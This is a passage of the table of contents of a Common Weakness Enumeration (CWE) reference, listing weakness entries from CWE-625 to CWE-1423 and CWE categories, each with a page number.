CWE-625: Permissive Regular Expression.....	1392
CWE-626: Null Byte Interaction Error (Poison Null Byte).....	1394
CWE-627: Dynamic Variable Evaluation.....	1396

CWE-628: Function Call with Incorrectly Specified Arguments.....	1398
CWE-636: Not Failing Securely ('Failing Open').....	1401
CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism').....	1403
CWE-638: Not Using Complete Mediation.....	1404
CWE-639: Authorization Bypass Through User-Controlled Key.....	1406
CWE-640: Weak Password Recovery Mechanism for Forgotten Password.....	1409
CWE-641: Improper Restriction of Names for Files and Other Resources.....	1412
CWE-642: External Control of Critical State Data.....	1414
CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection').....	1419
CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax.....	1422
CWE-645: Overly Restrictive Account Lockout Mechanism.....	1423
CWE-646: Reliance on File Name or Extension of Externally-Supplied File.....	1425
CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions.....	1426
CWE-648: Incorrect Use of Privileged APIs.....	1428
CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking....	1430
CWE-650: Trusting HTTP Permission Methods on the Server Side.....	1432
CWE-651: Exposure of WSDL File Containing Sensitive Information.....	1433
CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection').....	1435
CWE-653: Improper Isolation or Compartmentalization.....	1437
CWE-654: Reliance on a Single Factor in a Security Decision.....	1439
CWE-655: Insufficient Psychological Acceptability.....	1442
CWE-656: Reliance on Security Through Obscurity.....	1444
CWE-657: Violation of Secure Design Principles.....	1446
CWE-662: Improper Synchronization.....	1448
CWE-663: Use of a Non-reentrant Function in a Concurrent Context.....	1452
CWE-664: Improper Control of a Resource Through its Lifetime.....	1454
CWE-665: Improper Initialization.....	1456
CWE-666: Operation on Resource in Wrong Phase of Lifetime.....	1462
CWE-667: Improper Locking.....	1464
CWE-668: Exposure of Resource to Wrong Sphere.....	1469
CWE-669: Incorrect Resource Transfer Between Spheres.....	1471
CWE-670: Always-Incorrect Control Flow Implementation.....	1475
CWE-671: Lack of Administrator Control over Security.....	1478
CWE-672: Operation on a Resource after Expiration or Release.....	1479
CWE-673: External Influence of Sphere Definition.....	1483
CWE-674: Uncontrolled Recursion.....	1484
CWE-675: Multiple Operations on Resource in Single-Operation Context.....	1487
CWE-676: Use of Potentially Dangerous Function.....	1489
CWE-680: Integer Overflow to Buffer Overflow.....	1493
CWE-681: Incorrect Conversion between Numeric Types.....	1495
CWE-682: Incorrect Calculation.....	1499
CWE-683: Function Call With Incorrect Order of Arguments.....	1504
CWE-684: Incorrect Provision of Specified Functionality.....	1505
CWE-685: Function Call With Incorrect Number of Arguments.....	1507
CWE-686: Function Call With Incorrect Argument Type.....	1508
CWE-687: Function Call With Incorrectly Specified Argument Value.....	1510
CWE-688: Function Call With Incorrect Variable or Reference as Argument.....	1511
CWE-689: Permission Race Condition During Resource Copy.....	1513
CWE-690: Unchecked Return Value to NULL Pointer Dereference.....	1514
CWE-691: Insufficient Control Flow Management.....	1517
CWE-692: Incomplete Denylist to Cross-Site Scripting.....	1519
CWE-693: Protection Mechanism Failure.....	1520
CWE-694: Use of Multiple Resources with Duplicate Identifier.....	1523
CWE-695: Use of Low-Level Functionality.....	1524
CWE-696: Incorrect Behavior Order.....	1527
CWE-697: Incorrect Comparison.....	1530
CWE-698: Execution After Redirect (EAR).....	1533
CWE-703: Improper Check or Handling of Exceptional Conditions.....	1535
CWE-704: Incorrect Type Conversion or Cast.....	1538
CWE-705: Incorrect Control Flow Scoping.....	1542
CWE-706: Use of Incorrectly-Resolved Name or Reference.....	1544

CWE-707: Improper Neutralization.....	1546
CWE-708: Incorrect Ownership Assignment.....	1548
CWE-710: Improper Adherence to Coding Standards.....	1549
CWE-732: Incorrect Permission Assignment for Critical Resource.....	1551
CWE-733: Compiler Optimization Removal or Modification of Security-critical Code.....	1562
CWE-749: Exposed Dangerous Method or Function.....	1564
CWE-754: Improper Check for Unusual or Exceptional Conditions.....	1568
CWE-755: Improper Handling of Exceptional Conditions.....	1576
CWE-756: Missing Custom Error Page.....	1579
CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade').....	1581
CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior.....	1582
CWE-759: Use of a One-Way Hash without a Salt.....	1585
CWE-760: Use of a One-Way Hash with a Predictable Salt.....	1589
CWE-761: Free of Pointer not at Start of Buffer.....	1592
CWE-762: Mismatched Memory Management Routines.....	1596
CWE-763: Release of Invalid Pointer or Reference.....	1599
CWE-764: Multiple Locks of a Critical Resource.....	1604
CWE-765: Multiple Unlocks of a Critical Resource.....	1605
CWE-766: Critical Data Element Declared Public.....	1607
CWE-767: Access to Critical Private Variable via Public Method.....	1610
CWE-768: Incorrect Short Circuit Evaluation.....	1612
CWE-770: Allocation of Resources Without Limits or Throttling.....	1613
CWE-771: Missing Reference to Active Allocated Resource.....	1622
CWE-772: Missing Release of Resource after Effective Lifetime.....	1624
CWE-773: Missing Reference to Active File Descriptor or Handle.....	1629
CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling.....	1630
CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime.....	1631
CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion').....	1633
CWE-777: Regular Expression without Anchors.....	1636
CWE-778: Insufficient Logging.....	1638
CWE-779: Logging of Excessive Data.....	1642
CWE-780: Use of RSA Algorithm without OAEP.....	1644
CWE-781: Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code.....	1646
CWE-782: Exposed IOCTL with Insufficient Access Control.....	1648
CWE-783: Operator Precedence Logic Error.....	1650
CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision.....	1653
CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer.....	1656
CWE-786: Access of Memory Location Before Start of Buffer.....	1658
CWE-787: Out-of-bounds Write.....	1661
CWE-788: Access of Memory Location After End of Buffer.....	1669
CWE-789: Memory Allocation with Excessive Size Value.....	1674
CWE-790: Improper Filtering of Special Elements.....	1678
CWE-791: Incomplete Filtering of Special Elements.....	1680
CWE-792: Incomplete Filtering of One or More Instances of Special Elements.....	1681
CWE-793: Only Filtering One Instance of a Special Element.....	1683
CWE-794: Incomplete Filtering of Multiple Instances of Special Elements.....	1684
CWE-795: Only Filtering Special Elements at a Specified Location.....	1685
CWE-796: Only Filtering Special Elements Relative to a Marker.....	1687
CWE-797: Only Filtering Special Elements at an Absolute Position.....	1689
CWE-798: Use of Hard-coded Credentials.....	1690
CWE-799: Improper Control of Interaction Frequency.....	1699
CWE-804: Guessable CAPTCHA.....	1701
CWE-805: Buffer Access with Incorrect Length Value.....	1702
CWE-806: Buffer Access Using Size of Source Buffer.....	1710
CWE-807: Reliance on Untrusted Inputs in a Security Decision.....	1714
CWE-820: Missing Synchronization.....	1720
CWE-821: Incorrect Synchronization.....	1722
CWE-822: Untrusted Pointer Dereference.....	1723
CWE-823: Use of Out-of-range Pointer Offset.....	1726
CWE-824: Access of Uninitialized Pointer.....	1729
CWE-825: Expired Pointer Dereference.....	1732

CWE-826: Premature Release of Resource During Expected Lifetime.....	1734
CWE-827: Improper Control of Document Type Definition.....	1736
CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe.....	1737
CWE-829: Inclusion of Functionality from Untrusted Control Sphere.....	1741
CWE-830: Inclusion of Web Functionality from an Untrusted Source.....	1747
CWE-831: Signal Handler Function Associated with Multiple Signals.....	1749
CWE-832: Unlock of a Resource that is not Locked.....	1752
CWE-833: Deadlock.....	1753
CWE-834: Excessive Iteration.....	1754
CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop').....	1757
CWE-836: Use of Password Hash Instead of Password for Authentication.....	1761
CWE-837: Improper Enforcement of a Single, Unique Action.....	1762
CWE-838: Inappropriate Encoding for Output Context.....	1764
CWE-839: Numeric Range Comparison Without Minimum Check.....	1767
CWE-841: Improper Enforcement of Behavioral Workflow.....	1772
CWE-842: Placement of User into Incorrect Group.....	1775
CWE-843: Access of Resource Using Incompatible Type ('Type Confusion').....	1776
CWE-862: Missing Authorization.....	1780
CWE-863: Incorrect Authorization.....	1787
CWE-908: Use of Uninitialized Resource.....	1792
CWE-909: Missing Initialization of Resource.....	1797
CWE-910: Use of Expired File Descriptor.....	1800
CWE-911: Improper Update of Reference Count.....	1801
CWE-912: Hidden Functionality.....	1803
CWE-913: Improper Control of Dynamically-Managed Code Resources.....	1805
CWE-914: Improper Control of Dynamically-Identified Variables.....	1807
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes.....	1809
CWE-916: Use of Password Hash With Insufficient Computational Effort.....	1813
CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection').....	1818
CWE-918: Server-Side Request Forgery (SSRF).....	1820
CWE-920: Improper Restriction of Power Consumption.....	1823
CWE-921: Storage of Sensitive Data in a Mechanism without Access Control.....	1824
CWE-922: Insecure Storage of Sensitive Information.....	1825
CWE-923: Improper Restriction of Communication Channel to Intended Endpoints.....	1827
CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel.....	1830
CWE-925: Improper Verification of Intent by Broadcast Receiver.....	1831
CWE-926: Improper Export of Android Application Components.....	1833
CWE-927: Use of Implicit Intent for Sensitive Communication.....	1836
CWE-939: Improper Authorization in Handler for Custom URL Scheme.....	1840
CWE-940: Improper Verification of Source of a Communication Channel.....	1842
CWE-941: Incorrectly Specified Destination in a Communication Channel.....	1845
CWE-942: Permissive Cross-domain Policy with Untrusted Domains.....	1847
CWE-943: Improper Neutralization of Special Elements in Data Query Logic.....	1850
CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag.....	1854
CWE-1007: Insufficient Visual Distinction of Homoglyphs Presented to User.....	1857
CWE-1021: Improper Restriction of Rendered UI Layers or Frames.....	1860
CWE-1022: Use of Web Link to Untrusted Target with window.opener Access.....	1862
CWE-1023: Incomplete Comparison with Missing Factors.....	1865
CWE-1024: Comparison of Incompatible Types.....	1867
CWE-1025: Comparison Using Wrong Factors.....	1868
CWE-1037: Processor Optimization Removal or Modification of Security-critical Code.....	1870
CWE-1038: Insecure Automated Optimizations.....	1872
CWE-1039: Automated Recognition Mechanism with Inadequate Detection or Handling of Adversarial Input Perturbations.....	1873
CWE-1041: Use of Redundant Code.....	1875
CWE-1042: Static Member Data Element outside of a Singleton Class Element.....	1876
CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements.....	1877
CWE-1044: Architecture with Number of Horizontal Layers Outside of Expected Range.....	1879
CWE-1045: Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor.....	1880
CWE-1046: Creation of Immutable Text Using String Concatenation.....	1881

CWE-1047: Modules with Circular Dependencies.....	1882
CWE-1048: Invokable Control Element with Large Number of Outward Calls.....	1883
CWE-1049: Excessive Data Query Operations in a Large Data Table.....	1884
CWE-1050: Excessive Platform Resource Consumption within a Loop.....	1885
CWE-1051: Initialization with Hard-Coded Network Resource Configuration Data.....	1886
CWE-1052: Excessive Use of Hard-Coded Literals in Initialization.....	1887
CWE-1053: Missing Documentation for Design.....	1888
CWE-1054: Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer.....	1889
CWE-1055: Multiple Inheritance from Concrete Classes.....	1890
CWE-1056: Invokable Control Element with Variadic Parameters.....	1891
CWE-1057: Data Access Operations Outside of Expected Data Manager Component.....	1892
CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element.....	1893
CWE-1059: Insufficient Technical Documentation.....	1894
CWE-1060: Excessive Number of Inefficient Server-Side Data Accesses.....	1897
CWE-1061: Insufficient Encapsulation.....	1898
CWE-1062: Parent Class with References to Child Class.....	1900
CWE-1063: Creation of Class Instance within a Static Code Block.....	1901
CWE-1064: Invokable Control Element with Signature Containing an Excessive Number of Parameters.....	1902
CWE-1065: Runtime Resource Management Control Element in a Component Built to Run on Application Servers.....	1903
CWE-1066: Missing Serialization Control Element.....	1904
CWE-1067: Excessive Execution of Sequential Searches of Data Resource.....	1905
CWE-1068: Inconsistency Between Implementation and Documented Design.....	1906
CWE-1069: Empty Exception Block.....	1907
CWE-1070: Serializable Data Element Containing non-Serializable Item Elements.....	1909
CWE-1071: Empty Code Block.....	1910
CWE-1072: Data Resource Access without Use of Connection Pooling.....	1912
CWE-1073: Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses.....	1913
CWE-1074: Class with Excessively Deep Inheritance.....	1914
CWE-1075: Unconditional Control Flow Transfer outside of Switch Block.....	1915
CWE-1076: Insufficient Adherence to Expected Conventions.....	1916
CWE-1077: Floating Point Comparison with Incorrect Operator.....	1917
CWE-1078: Inappropriate Source Code Style or Formatting.....	1918
CWE-1079: Parent Class without Virtual Destructor Method.....	1919
CWE-1080: Source Code File with Excessive Number of Lines of Code.....	1920
CWE-1082: Class Instance Self Destruction Control Element.....	1921
CWE-1083: Data Access from Outside Expected Data Manager Component.....	1922
CWE-1084: Invokable Control Element with Excessive File or Data Access Operations.....	1924
CWE-1085: Invokable Control Element with Excessive Volume of Commented-out Code.....	1925
CWE-1086: Class with Excessive Number of Child Classes.....	1926
CWE-1087: Class with Virtual Method without a Virtual Destructor.....	1927
CWE-1088: Synchronous Access of Remote Resource without Timeout.....	1928
CWE-1089: Large Data Table with Excessive Number of Indices.....	1929
CWE-1090: Method Containing Access of a Member Element from Another Class.....	1930
CWE-1091: Use of Object without Invoking Destructor Method.....	1931
CWE-1092: Use of Same Invokable Control Element in Multiple Architectural Layers.....	1932
CWE-1093: Excessively Complex Data Representation.....	1933
CWE-1094: Excessive Index Range Scan for a Data Resource.....	1934
CWE-1095: Loop Condition Value Update within the Loop.....	1935
CWE-1096: Singleton Class Instance Creation without Proper Locking or Synchronization.....	1936
CWE-1097: Persistent Storable Data Element without Associated Comparison Control Element.....	1937
CWE-1098: Data Element containing Pointer Item without Proper Copy Control Element.....	1938
CWE-1099: Inconsistent Naming Conventions for Identifiers.....	1939
CWE-1100: Insufficient Isolation of System-Dependent Functions.....	1940
CWE-1101: Reliance on Runtime Component in Generated Code.....	1941
CWE-1102: Reliance on Machine-Dependent Data Representation.....	1942
CWE-1103: Use of Platform-Dependent Third Party Components.....	1943
CWE-1104: Use of Unmaintained Third Party Components.....	1944
CWE-1105: Insufficient Encapsulation of Machine-Dependent Functionality.....	1945
CWE-1106: Insufficient Use of Symbolic Constants.....	1946

CWE-1107: Insufficient Isolation of Symbolic Constant Definitions.....	1947
CWE-1108: Excessive Reliance on Global Variables.....	1948
CWE-1109: Use of Same Variable for Multiple Purposes.....	1949
CWE-1110: Incomplete Design Documentation.....	1950
CWE-1111: Incomplete I/O Documentation.....	1951
CWE-1112: Incomplete Documentation of Program Execution.....	1952
CWE-1113: Inappropriate Comment Style.....	1953
CWE-1114: Inappropriate Whitespace Style.....	1953
CWE-1115: Source Code Element without Standard Prologue.....	1954
CWE-1116: Inaccurate Comments.....	1955
CWE-1117: Callable with Insufficient Behavioral Summary.....	1957
CWE-1118: Insufficient Documentation of Error Handling Techniques.....	1958
CWE-1119: Excessive Use of Unconditional Branching.....	1959
CWE-1120: Excessive Code Complexity.....	1960
CWE-1121: Excessive McCabe Cyclomatic Complexity.....	1961
CWE-1122: Excessive Halstead Complexity.....	1962
CWE-1123: Excessive Use of Self-Modifying Code.....	1963
CWE-1124: Excessively Deep Nesting.....	1964
CWE-1125: Excessive Attack Surface.....	1965
CWE-1126: Declaration of Variable with Unnecessarily Wide Scope.....	1966
CWE-1127: Compilation with Insufficient Warnings or Errors.....	1966
CWE-1164: Irrelevant Code.....	1967
CWE-1173: Improper Use of Validation Framework.....	1969
CWE-1174: ASP.NET Misconfiguration: Improper Model Validation.....	1970
CWE-1176: Inefficient CPU Computation.....	1971
CWE-1177: Use of Prohibited Code.....	1972
CWE-1188: Initialization of a Resource with an Insecure Default.....	1974
CWE-1189: Improper Isolation of Shared Resources on System-on-a-Chip (SoC).....	1976
CWE-1190: DMA Device Enabled Too Early in Boot Phase.....	1978
CWE-1191: On-Chip Debug and Test Interface With Improper Access Control.....	1980
CWE-1192: Improper Identifier for IP Block used in System-On-Chip (SOC).....	1985
CWE-1193: Power-On of Untrusted Execution Core Before Enabling Fabric Access Control.....	1986
CWE-1204: Generation of Weak Initialization Vector (IV).....	1987
CWE-1209: Failure to Disable Reserved Bits.....	1991
CWE-1220: Insufficient Granularity of Access Control.....	1992
CWE-1221: Incorrect Register Defaults or Module Parameters.....	1996
CWE-1222: Insufficient Granularity of Address Regions Protected by Register Locks.....	1999
CWE-1223: Race Condition for Write-Once Attributes.....	2001
CWE-1224: Improper Restriction of Write-Once Bit Fields.....	2003
CWE-1229: Creation of Emergent Resource.....	2006
CWE-1230: Exposure of Sensitive Information Through Metadata.....	2006
CWE-1231: Improper Prevention of Lock Bit Modification.....	2007
CWE-1232: Improper Lock Behavior After Power State Transition.....	2010
CWE-1233: Security-Sensitive Hardware Controls with Missing Lock Bit Protection.....	2012
CWE-1234: Hardware Internal or Debug Modes Allow Override of Locks.....	2014
CWE-1235: Incorrect Use of Autoboxing and Unboxing for Performance Critical Operations.....	2017
CWE-1236: Improper Neutralization of Formula Elements in a CSV File.....	2019
CWE-1239: Improper Zeroization of Hardware Register.....	2022
CWE-1240: Use of a Cryptographic Primitive with a Risky Implementation.....	2025
CWE-1241: Use of Predictable Algorithm in Random Number Generator.....	2030
CWE-1242: Inclusion of Undocumented Features or Chicken Bits.....	2033
CWE-1243: Sensitive Non-Volatile Information Not Protected During Debug.....	2035
CWE-1244: Internal Asset Exposed to Unsafe Debug Access Level or State.....	2037
CWE-1245: Improper Finite State Machines (FSMs) in Hardware Logic.....	2041
CWE-1246: Improper Write Handling in Limited-write Non-Volatile Memories.....	2043
CWE-1247: Improper Protection Against Voltage and Clock Glitches.....	2044
CWE-1248: Semiconductor Defects in Hardware Logic with Security-Sensitive Implications.....	2049
CWE-1249: Application-Level Admin Tool with Inconsistent View of Underlying Operating System.....	2050
CWE-1250: Improper Preservation of Consistency Between Independent Representations of Shared State.....	2052
CWE-1251: Mirrored Regions with Different Values.....	2054

CWE-1252: CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations.....	2056
CWE-1253: Incorrect Selection of Fuse Values.....	2058
CWE-1254: Incorrect Comparison Logic Granularity.....	2060
CWE-1255: Comparison Logic is Vulnerable to Power Side-Channel Attacks.....	2062
CWE-1256: Improper Restriction of Software Interfaces to Hardware Features.....	2065
CWE-1257: Improper Access Control Applied to Mirrored or Aliased Memory Regions.....	2068
CWE-1258: Exposure of Sensitive System Information Due to Uncleared Debug Information.....	2071
CWE-1259: Improper Restriction of Security Token Assignment.....	2073
CWE-1260: Improper Handling of Overlap Between Protected Memory Ranges.....	2075
CWE-1261: Improper Handling of Single Event Upsets.....	2079
CWE-1262: Improper Access Control for Register Interface.....	2081
CWE-1263: Improper Physical Access Control.....	2085
CWE-1264: Hardware Logic with Insecure De-Synchronization between Control and Data Channels.....	2086
CWE-1265: Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls.....	2088
CWE-1266: Improper Scrubbing of Sensitive Data from Decommissioned Device.....	2091
CWE-1267: Policy Uses Obsolete Encoding.....	2093
CWE-1268: Policy Privileges are not Assigned Consistently Between Control and Data Agents.....	2095
CWE-1269: Product Released in Non-Release Configuration.....	2098
CWE-1270: Generation of Incorrect Security Tokens.....	2100
CWE-1271: Uninitialized Value on Reset for Registers Holding Security Settings.....	2102
CWE-1272: Sensitive Information Uncleared Before Debug/Power State Transition.....	2104
CWE-1273: Device Unlock Credential Sharing.....	2106
CWE-1274: Improper Access Control for Volatile Memory Containing Boot Code.....	2108
CWE-1275: Sensitive Cookie with Improper SameSite Attribute.....	2110
CWE-1276: Hardware Child Block Incorrectly Connected to Parent System.....	2113
CWE-1277: Firmware Not Updateable.....	2116
CWE-1278: Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques.....	2118
CWE-1279: Cryptographic Operations are run Before Supporting Units are Ready.....	2120
CWE-1280: Access Control Check Implemented After Asset is Accessed.....	2122
CWE-1281: Sequence of Processor Instructions Leads to Unexpected Behavior.....	2124
CWE-1282: Assumed-Immutable Data is Stored in Writable Memory.....	2127
CWE-1283: Mutable Attestation or Measurement Reporting Data.....	2128
CWE-1284: Improper Validation of Specified Quantity in Input.....	2130
CWE-1285: Improper Validation of Specified Index, Position, or Offset in Input.....	2132
CWE-1286: Improper Validation of Syntactic Correctness of Input.....	2136
CWE-1287: Improper Validation of Specified Type of Input.....	2138
CWE-1288: Improper Validation of Consistency within Input.....	2139
CWE-1289: Improper Validation of Unsafe Equivalence in Input.....	2141
CWE-1290: Incorrect Decoding of Security Identifiers	2142
CWE-1291: Public Key Re-Use for Signing both Debug and Production Code.....	2145
CWE-1292: Incorrect Conversion of Security Identifiers.....	2147
CWE-1293: Missing Source Correlation of Multiple Independent Data.....	2149
CWE-1294: Insecure Security Identifier Mechanism.....	2150
CWE-1295: Debug Messages Revealing Unnecessary Information.....	2152
CWE-1296: Incorrect Chaining or Granularity of Debug Components.....	2153
CWE-1297: Unprotected Confidential Information on Device is Accessible by OSAT Vendors.....	2156
CWE-1298: Hardware Logic Contains Race Conditions.....	2158
CWE-1299: Missing Protection Mechanism for Alternate Hardware Interface.....	2162
CWE-1300: Improper Protection of Physical Side Channels.....	2165
CWE-1301: Insufficient or Incomplete Data Removal within Hardware Component.....	2170
CWE-1302: Missing Source Identifier in Entity Transactions on a System-On-Chip (SOC).....	2172
CWE-1303: Non-Transparent Sharing of Microarchitectural Resources.....	2174
CWE-1304: Improperly Preserved Integrity of Hardware Configuration State During a Power Save/Restore Operation.....	2176
CWE-1310: Missing Ability to Patch ROM Code.....	2179
CWE-1311: Improper Translation of Security Attributes by Fabric Bridge.....	2182
CWE-1312: Missing Protection for Mirrored Regions in On-Chip Fabric Firewall.....	2184
CWE-1313: Hardware Allows Activation of Test or Debug Logic at Runtime.....	2185
CWE-1314: Missing Write Protection for Parametric Data Values.....	2187
CWE-1315: Improper Setting of Bus Controlling Capability in Fabric End-point.....	2190

CWE-1316: Fabric-Address Map Allows Programming of Unwarranted Overlaps of Protected and Unprotected Ranges.....	2192
CWE-1317: Improper Access Control in Fabric Bridge.....	2194
CWE-1318: Missing Support for Security Features in On-chip Fabrics or Buses.....	2197
CWE-1319: Improper Protection against Electromagnetic Fault Injection (EM-FI).....	2199
CWE-1320: Improper Protection for Outbound Error Messages and Alert Signals.....	2202
CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').....	2204
CWE-1322: Use of Blocking Code in Single-threaded, Non-blocking Context.....	2207
CWE-1323: Improper Management of Sensitive Trace Data.....	2208
CWE-1325: Improperly Controlled Sequential Memory Allocation.....	2210
CWE-1326: Missing Immutable Root of Trust in Hardware.....	2212
CWE-1327: Binding to an Unrestricted IP Address.....	2215
CWE-1328: Security Version Number Mutable to Older Versions.....	2217
CWE-1329: Reliance on Component That is Not Updateable.....	2219
CWE-1330: Remanent Data Readable after Memory Erase.....	2222
CWE-1331: Improper Isolation of Shared Resources in Network On Chip (NoC).....	2225
CWE-1332: Improper Handling of Faults that Lead to Instruction Skips.....	2227
CWE-1333: Inefficient Regular Expression Complexity.....	2230
CWE-1334: Unauthorized Error Injection Can Degrade Hardware Redundancy.....	2234
CWE-1335: Incorrect Bitwise Shift of Integer.....	2235
CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine.....	2238
CWE-1338: Improper Protections Against Hardware Overheating.....	2240
CWE-1339: Insufficient Precision or Accuracy of a Real Number.....	2242
CWE-1341: Multiple Releases of Same Resource or Handle.....	2246
CWE-1342: Information Exposure through Microarchitectural State after Transient Execution.....	2250
CWE-1351: Improper Handling of Hardware Behavior in Exceptionally Cold Environments.....	2252
CWE-1357: Reliance on Insufficiently Trustworthy Component.....	2254
CWE-1384: Improper Handling of Physical or Environmental Conditions.....	2257
CWE-1385: Missing Origin Validation in WebSockets.....	2259
CWE-1386: Insecure Operation on Windows Junction / Mount Point.....	2261
CWE-1389: Incorrect Parsing of Numbers with Different Radices.....	2263
CWE-1390: Weak Authentication.....	2267
CWE-1391: Use of Weak Credentials.....	2269
CWE-1392: Use of Default Credentials.....	2271
CWE-1393: Use of Default Password.....	2273
CWE-1394: Use of Default Cryptographic Key.....	2275
CWE-1395: Dependency on Vulnerable Third-Party Component.....	2277
CWE-1419: Incorrect Initialization of Resource.....	2280
CWE-1420: Exposure of Sensitive Information during Transient Execution.....	2284
CWE-1421: Exposure of Sensitive Information in Shared Microarchitectural Structures during Transient Execution.....	2290
CWE-1422: Exposure of Sensitive Information caused by Incorrect Data Forwarding during Transient Execution.....	2297
CWE-1423: Exposure of Sensitive Information caused by Shared Microarchitectural Predictor State that Influences Transient Execution.....	2302

CWE Categories

Category-2: 7PK - Environment.....	2308
Category-16: Configuration.....	2309
Category-19: Data Processing Errors.....	2309
Category-133: String Errors.....	2310
Category-136: Type Errors.....	2310
Category-137: Data Neutralization Issues.....	2311
Category-189: Numeric Errors.....	2312
Category-199: Information Management Errors.....	2312
Category-227: 7PK - API Abuse.....	2313
Category-251: Often Misused: String Management.....	2314
Category-254: 7PK - Security Features.....	2314
Category-255: Credentials Management Errors.....	2315
Category-264: Permissions, Privileges, and Access Controls.....	2316
Category-265: Privilege Issues.....	2316

Category-275: Permission Issues.....	2317
Category-310: Cryptographic Issues.....	2318
Category-320: Key Management Errors.....	2319
Category-355: User Interface Security Issues.....	2320
Category-361: 7PK - Time and State.....	2320
Category-371: State Issues.....	2321
Category-387: Signal Errors.....	2321
Category-388: 7PK - Errors.....	2322
Category-389: Error Conditions, Return Values, Status Codes.....	2322
Category-398: 7PK - Code Quality.....	2323
Category-399: Resource Management Errors.....	2324
Category-411: Resource Locking Problems.....	2325
Category-417: Communication Channel Errors.....	2325
Category-429: Handler Errors.....	2326
Category-438: Behavioral Problems.....	2326
Category-452: Initialization and Cleanup Errors.....	2327
Category-465: Pointer Issues.....	2328
Category-485: 7PK - Encapsulation.....	2328
Category-557: Concurrency Issues.....	2329
Category-569: Expression Issues.....	2330
Category-712: OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS).....	2330
Category-713: OWASP Top Ten 2007 Category A2 - Injection Flaws.....	2330
Category-714: OWASP Top Ten 2007 Category A3 - Malicious File Execution.....	2331
Category-715: OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference.....	2331
Category-716: OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF).....	2331
Category-717: OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling.....	2332
Category-718: OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management.....	2332
Category-719: OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage.....	2333
Category-720: OWASP Top Ten 2007 Category A9 - Insecure Communications.....	2333
Category-721: OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access.....	2333
Category-722: OWASP Top Ten 2004 Category A1 - Unvalidated Input.....	2334
Category-723: OWASP Top Ten 2004 Category A2 - Broken Access Control.....	2335
Category-724: OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management.....	2335
Category-725: OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws.....	2336
Category-726: OWASP Top Ten 2004 Category A5 - Buffer Overflows.....	2336
Category-727: OWASP Top Ten 2004 Category A6 - Injection Flaws.....	2337
Category-728: OWASP Top Ten 2004 Category A7 - Improper Error Handling.....	2337
Category-729: OWASP Top Ten 2004 Category A8 - Insecure Storage.....	2338
Category-730: OWASP Top Ten 2004 Category A9 - Denial of Service.....	2339
Category-731: OWASP Top Ten 2004 Category A10 - Insecure Configuration Management.....	2339
Category-735: CERT C Secure Coding Standard (2008) Chapter 2 - Preprocessor (PRE).....	2340
Category-736: CERT C Secure Coding Standard (2008) Chapter 3 - Declarations and Initialization (DCL)...	2341
Category-737: CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP).....	2341
Category-738: CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT).....	2342
Category-739: CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP).....	2343
Category-740: CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR).....	2344
Category-741: CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR).....	2344
Category-742: CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM).....	2345
Category-743: CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO).....	2347
Category-744: CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV).....	2348
Category-745: CERT C Secure Coding Standard (2008) Chapter 12 - Signals (SIG).....	2349
Category-746: CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR).....	2350
Category-747: CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC).....	2350
Category-748: CERT C Secure Coding Standard (2008) Appendix - POSIX (POS).....	2351
Category-751: 2009 Top 25 - Insecure Interaction Between Components.....	2352
Category-752: 2009 Top 25 - Risky Resource Management.....	2353
Category-753: 2009 Top 25 - Porous Defenses.....	2353
Category-801: 2010 Top 25 - Insecure Interaction Between Components.....	2354
Category-802: 2010 Top 25 - Risky Resource Management.....	2354
Category-803: 2010 Top 25 - Porous Defenses.....	2355
Category-808: 2010 Top 25 - Weaknesses On the Cusp.....	2355

Category-810: OWASP Top Ten 2010 Category A1 - Injection.....	2356
Category-811: OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS).....	2357
Category-812: OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management.....	2357
Category-813: OWASP Top Ten 2010 Category A4 - Insecure Direct Object References.....	2357
